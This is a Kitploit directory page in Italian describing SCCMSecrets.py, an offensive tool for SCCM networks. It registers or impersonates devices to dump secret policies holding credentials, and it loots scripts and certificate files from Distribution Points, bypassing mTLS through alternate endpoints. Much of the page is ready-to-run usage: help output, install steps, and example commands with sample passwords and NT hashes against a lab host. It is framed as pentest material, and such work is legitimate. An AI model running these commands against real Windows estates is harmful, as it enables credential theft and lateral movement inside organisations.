Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SCCMSecrets — SCCMSecrets.py mira a sfruttare la distribuzione delle policy SCCM per la raccolta di credenziali, l'accesso iniziale e il movimento laterale. | Kitploit
Strumenti/GitHubGitHub/synacktiv/sccmsecrets
Autenticazione e AutorizzazioneRicognizioneAttacchi alle PasswordExploitMovimento LateraleRaccolta InformazioniPost-ExploitConfigurazione Errata
GitHubsynacktiv/sccmsecrets

SCCMSecrets

SCCMSecrets.py mira a sfruttare la distribuzione delle policy SCCM per la raccolta di credenziali, l'accesso iniziale e il movimento laterale.

Vedi Repository
2733369 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SCCMSecrets

SCCMSecrets.py è uno strumento di sfruttamento delle policy SCCM. Va oltre l'estrazione delle credenziali NAA e mira a fornire un approccio completo allo sfruttamento delle policy SCCM. Lo strumento può essere eseguito con vari livelli di privilegi e tenterà di scoprire potenziali configurazioni errate relative alla distribuzione delle policy. Ulteriori dettagli sullo strumento e sul suo utilizzo sono disponibili nell'articolo associato: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial

Sono disponibili due sottocomandi: policies e files.

Policy

Questo sottocomando interagisce con un Management Point SCCM per scaricare il contenuto di tutte le policy segrete (incluse la configurazione NAA, le sequenze di attività contenenti credenziali o le variabili di raccolta). Per farlo, è necessario un dispositivo SCCM approvato, che può essere ottenuto in tre modi.

  • Se non si fornisce un account macchina, SCCMSecrets tenterà di registrare un dispositivo e di abusare dell'approvazione automatica dei dispositivi. Si tratta di una configurazione SCCM (non predefinita) che concede automaticamente lo stato "Approved" ai nuovi dispositivi registrati in modo anonimo.
  • Se si fornisce un account macchina, SCCMSecrets registrerà un nuovo dispositivo utilizzando l'endpoint di registrazione autenticato. Per impostazione predefinita, SCCM concede lo stato "Approved" ai dispositivi registrati tramite questo endpoint.
  • Se si fornisce il flag --altauth, SCCMSecrets sfrutterà un endpoint di autenticazione alternativo, consentendo di bypassare i requisiti mTLS e di ottenere un dispositivo approvato senza credenziali e senza la configurazione errata dell'approvazione automatica dei dispositivi (maggiori informazioni qui). Questo funziona solo quando il MP è configurato per usare HTTPS E il sito SCCM è configurato per imporre HTTPS a livello di sito (se il MP usa HTTPS ma il sito consente sia HTTP che HTTPS, i dispositivi non vengono approvati automaticamente).
  • È anche possibile fornire un dispositivo esistente (--use-existing-device). Questo argomento richiede una directory contenente il file guid.txt (GUID del dispositivo) e il file key.pem (chiave privata del dispositivo). Può essere un dispositivo creato da un'esecuzione precedente di SCCMSecrets, oppure quello corrispondente a un client SCCM legittimo compromesso.

Nota: le policy SCCM sono associate alle raccolte. La registrazione di un nuovo dispositivo lo inserirà nelle raccolte predefinite; pertanto, verranno recuperate solo le policy segrete delle raccolte predefinite. Questo è il motivo per cui impersonare un client SCCM legittimo compromesso con --use-existing-device può essere interessante. Infatti, questo client legittimo potrebbe far parte di raccolte personalizzate associate a policy segrete aggiuntive.

L'output verrà inserito in una sottodirectory della directory loot (formato: [timestamp]_policies).

root@kitploit:~
$ python3 SCCMSecrets.py policies -h
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py policies [OPTIONS]                                                                                                                                                                              
                                                                                                                                                                                                                       
 Dump secret policies from an SCCM Management Point                                                                                                                                                                    
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --management-point     -mp      TEXT     The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                             │
│ *  --client-name          -cn      TEXT     [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required]                                                │
│    --machine-name         -u       TEXT     [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval                                                           │
│    --machine-pass         -p       TEXT     [Optional] The password for the machine account                                                                                                                         │
│    --machine-hash         -H       TEXT     [Optional] The NT hash for the machine account                                                                                                                          │
│    --registration-sleep   -rs      INTEGER  [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to   │
│                                             device collections (3 minutes by default, may need to be increased)                                                                                                     │
│                                             [default: 180]                                                                                                                                                          │
│    --use-existing-device  -d       TEXT     [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it        │
│                                             expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│                                             be provided to SCCMSecrets (but does not have to match the one of the existing device)                                                                                  │
│    --pki-cert             -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication       │
│    --pki-key              -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                 │
│    --altauth              -a                [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│                                             only works when the MP uses HTTPS AND HTTPS is enforced site-wide                                                                                                       │
│    --verbose              -v                [Optional] Enable verbose output                                                                                                                                        │
│    --help                 -h                Show this message and exit.                                                                                                                                             │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

File

Questo sottocomando indicizzerà i file memorizzati su un Distribution Point e scaricherà quelli interessanti. SCCMSecrets tenterà innanzitutto di identificare se l'accesso anonimo è abilitato (non predefinito). In tal caso, i file possono essere indicizzati e scaricati senza autenticazione. In caso contrario, saranno necessarie credenziali di dominio.

È possibile scaricare i file per estensione. SCCMSecrets indicizzerà i file di tutti i pacchetti ospitati sul Distribution Point (producendo un file index.txt con il formato tree di Unix) e scaricherà i file con le estensioni specificate. Se si fornisce una lista vuota di estensioni, verrà eseguita solo l'indicizzazione dei file. In entrambi i casi, dal file di indice prodotto, è possibile usare il flag --urls per scaricare file specifici interessanti (senza reindicizzare).

Nota: i requisiti mTLS, se implementati, possono essere bypassati fornendo il flag --nocert.

L'output verrà inserito in una sottodirectory della directory loot (formato: [timestamp]_files).

root@kitploit:~
$ python3 SCCMSecrets.py files --help
                                                                                                                                                                                                                       
 Usage: SCCMSecrets.py files [OPTIONS]                                                                                                                                                                                 
                                                                                                                                                                                                                       
 Dump interesting files from an SCCM Distribution Point                                                                                                                                                                
                                                                                                                                                                                                                       
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --distribution-point  -dp      TEXT     An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required]                                                      │
│    --username            -u       TEXT     [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access                                               │
│    --password            -p       TEXT     [Optional] The password for the domain account                                                                                                                           │
│    --hash                -H       TEXT     [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852)                                                                                    │
│    --extensions          -e       TEXT     [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not         │
│                                            download anything, and only index files                                                                                                                                  │
│                                            [default: .ps1, .bat, .xml, .txt, .pfx]                                                                                                                                  │
│    --urls                -f       TEXT     [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│                                            want to download by extension, but rather specific known files                                                                                                           │
│    --max-recursion       -r       INTEGER  [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10]                                                                     │
│    --pki-cert            -c       TEXT     [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication      │
│    --pki-key             -k       TEXT     [Optional] The path to the private key of the certificate in PEM format                                                                                                  │
│    --nocert              -n                [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements                                                                                  │
│    --verbose             -v                [Optional] Enable verbose output                                                                                                                                         │
│    --help                -h                Show this message and exit.                                                                                                                                              │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

Sull'applicazione di HTTPS

Per impostazione predefinita, i client possono interagire con il proprio Management Point o Distribution Point utilizzando HTTP semplice. L'installazione di SCCM può tuttavia essere configurata in modo più sicuro imponendo l'uso di HTTPS. In questo caso (per il Management Point, il Distribution Point o entrambi), SCCM richiederà l'autenticazione del certificato client utilizzando un certificato PKI interno con finalità di "client authentication".

È comunque possibile effettuare gli attacchi presentati sopra; tuttavia, è necessario fornire un certificato PKI valido tramite i flag --pki-cert e --pki-key (formato PEM). Gli URL del Management Point / Distribution Point devono anche essere preceduti da https://. Nota: i flag --altauth (per le policy) e --nocert (per i file) forniscono modi per bypassare l'autenticazione mTLS (maggiori informazioni qui).

Installazione

È possibile installare SCCMSecrets.py clonando il repository e installando le dipendenze.

root@kitploit:~
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

Esempi

Di seguito sono riportati alcuni comandi di esempio.

Policy

Recupera le policy segrete senza fornire un account macchina. Questo tenterà di sfruttare la configurazione errata dell'approvazione automatica dei dispositivi (configurazione non predefinita)

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'

Recupera le policy segrete fornendo un account macchina. Questo funzionerà nelle configurazioni SCCM predefinite

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'

Recupera le policy segrete di un dispositivo già esistente. La cartella compromised_device contiene un file guid.txt e un file key.pem.

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/

Recupera le policy segrete quando il Management Point impone HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem

Recupera le policy segrete utilizzando l'endpoint di autenticazione alternativo, consentendo di bypassare l'autenticazione mTLS e di ottenere un dispositivo approvato senza fornire credenziali (maggiori informazioni qui). Funziona solo quando il MP usa HTTPS e HTTPS è imposto a livello di sito

root@kitploit:~
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth

File

Recupera i file del Distribution Point senza fornire credenziali. Questo tenterà di sfruttare l'accesso anonimo al DP (configurazione non predefinita)

root@kitploit:~
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab

Recupera i file del Distribution Point con le credenziali. Questo funzionerà nelle configurazioni SCCM predefinite

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'

Recupera i file con una lista specifica di estensioni. Autenticati con l'hash dell'account macchina

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

Recupera file specifici dal Distribution Point fornendo una lista di URL (1 per riga)

root@kitploit:~
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst

Recupera i file del DP quando il Distribution Point impone HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem

Bypassa l'autenticazione mTLS quando il Distribution Point impone HTTPS

root@kitploit:~
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert
Scarica lo strumento